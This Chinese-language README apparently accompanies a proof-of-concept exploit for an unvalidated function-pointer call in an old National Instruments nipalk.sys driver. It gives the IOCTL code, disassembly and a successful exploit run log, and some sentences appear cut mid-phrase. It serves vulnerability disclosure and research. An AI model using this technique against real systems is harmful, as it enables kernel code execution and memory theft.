本仓库包含一个针对 National Instruments(美国国家仪器)旧版本 nipalk.sys 驱动程序中严重安全漏洞的概念验证。该漏洞允许在内核模式下执行任意代码并泄露内存。此代码仅供个人研究使用。
nipalk.sys 驱动程序在处理特定 IOCTL 请求时,未能正确处理用户提供的指针。此缺陷使攻击者能够提供一个函数指针,驱动程序会以受控参数在内核上下文中调用该指针。
RCX 和 RDX 寄存器。RtlCopyMemory 等函数,攻击者可以读取任意内核内存。该漏洞源于驱动程序未能验证用户模式应用程序提供的指针。在处理 IOCTL 0xABCD03C4 期间,驱动程序从用户可控的结构中检索函数指针,并在未进行适当检查的情况下调用它:
0045561e 48 8b 01 MOV RAX,qword ptr [param_1]
00455621 49 8b 52 18 MOV irp,qword ptr [R10 + 0x18]
00455625 ff 50 08 CALL qword ptr [RAX + 0x8]
[RAX + 8] 的函数指针在内核上下文中执行。RCX 和 RDX 由用户控制。[+] Starting exploit
[+] Memory allocated
[+] Values before IOCTL:
exploit->dummy: 00000000001b0000
exploit->function_pointer: fffff8017ea21300
[+] Device opened successfully
[+] Sending IOCTL
[+] Values after IOCTL:
exploit->dummy: 7208f88349c18b48
exploit->function_pointer: ffff7710f8834937
[+] DeviceIoControl succeeded. Bytes returned: 8
[+] Buffer Output: 1769472
[!] WARNING: exploit->dummy has changed!
[!] WARNING: exploit->function_pointer has changed!
[+] Exploit finished
此 PoC 仅用于教育目的。